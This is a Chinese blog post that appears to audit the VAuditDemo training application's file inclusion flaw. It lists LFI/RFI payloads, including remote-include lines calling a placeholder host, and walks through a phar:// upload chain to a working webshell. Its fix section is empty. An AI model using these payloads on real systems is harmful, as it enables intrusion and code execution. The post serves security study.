包含漏洞

文件包含漏洞的问题在于参数可控(路径、文件名、后缀) include($path.$filename.$ext)

包含漏洞分类:

  • 1.本地文件包含LFI
  • 2.远程文件包含RFI(allow_url_include默认为Off)

一、本地文件包含

  • 限制后缀 *.php
    • 伪协议 zip://&phar//
    • 截断大法
  • 日志&环境变量
  • session文件
  • 结合phpinfo()包含临时文件
  • 无后缀限制,包含任意文件
  • 读取任意文件,?file=php://filter/convert.base64-encode/resource=index.php

二、远程文件包含RFI

  • allow_url_include&&allow_url_fopen=Off
    • 包含共享文件,file=\\192.168.1.1\share\xxx.php
    • 利用data URIs,?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
  • allow_url_fopen=On
    • 远程代码执行?file=[http|https|ftp]://xxx/file
    • 利用XSS执行任意代码?file=http://xxx/xss.php?xss=phpcode
    • 远程代码执行?file=[http|https|ftp]://xxx/file.txt[?|%23]

index.php

<?php
    /* Include */
    if (isset($_GET['module'])){
        include($_GET['module'].'.inc');
        // phar://path/file/xx.inc
    }else{
    ?>

phar://

lib.php

搜索php处理上传文件的代码$_FILE,找到代码位置,分析上传逻辑。

<?php
include_once('../sys/config.php');
$uploaddir = '../uploads';

if (isset($_POST['submit']) && isset($_FILES['upfile'])) {

    if(is_pic($_FILES['upfile']['name'])){ //判断文件后缀

        $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];  //构造上传的文件名 u_时间戳_文件名

        if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) {
            //更新用户信息
            $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
            mysql_query($query, $conn) or die('update error!');
            mysql_close($conn);
            //刷新缓存
            $_SESSION['avatar'] = $avatar; // 将路径存储在session中,使用session进行文件读取操作,并未将文件路径输出。
            header('Location: edit.php');
        }
        else {
            echo 'upload error<br />';
            echo '<a href="edit.php">返回</a>';
        }
    }else{
        echo '只能上傳 jpg png gif!<br />';
        echo '<a href="edit.php">返回</a>';
    }
}
else {
    not_find($_SERVER['PHP_SELF']);
}
?>

全局搜索,判断是否只是通过session读取文件,并不会输出文件路径。搜索$_SESSION['avatar']

avatar.php:

<?php
error_reporting(0);
session_start();
header("Content-type:image/jpeg");
echo file_get_contents($_SESSION['avatar']); //LFI
?>
if(is_pic($_FILES['upfile']['name'])){

        $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Keep-Alive
Content-Length: 0
Content-Type: text/html
Date: Fri, 10 Apr 2020 13:14:12 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Location: edit.php
Pragma: no-cache
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45

解密时间戳

<?php
 date_default_timezone_set('UTC');
 echo strtotime('Fri, 10 Apr 2020 13:14:12 GMT');
?>

//输出结果如下: 1586524452
1586524452
u_1586524452_1.png
VAuditDemo-文件包含漏洞的审计-LMLPHP

 VAuditDemo-文件包含漏洞的审计-LMLPHP

phar://uploads/u_1586524452_1.png/1.inc

访问以下链接即可解析php内容:

http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v

POST:
cmd=phpinfo()

尝试解析phpinfo(),可以成功解析,使用shell管理工具也可以成功连接webshell,说明我们成功包含了文件。
VAuditDemo-文件包含漏洞的审计-LMLPHP

漏洞修复

审计思路整理

  • 1.index.php通过传入module变量来包含.inc文件
  • 2.使用伪协议zip://&phar://突破
  • 3.updateAvatar.php对文件上传只进行了后缀限制,未进行上传内容检查。
  • 4.将执行上传操作的响应时间转换为时间戳,通过遍历最后几位数字来找到上传文件名中的时间戳,获取上传文件名。
  • 5.通过上传构造好的文件,使用phar伪协议打开并执行其中的.inc文件,当.inc的内容为PHP脚本时,即可解析php内容。
04-11 09:27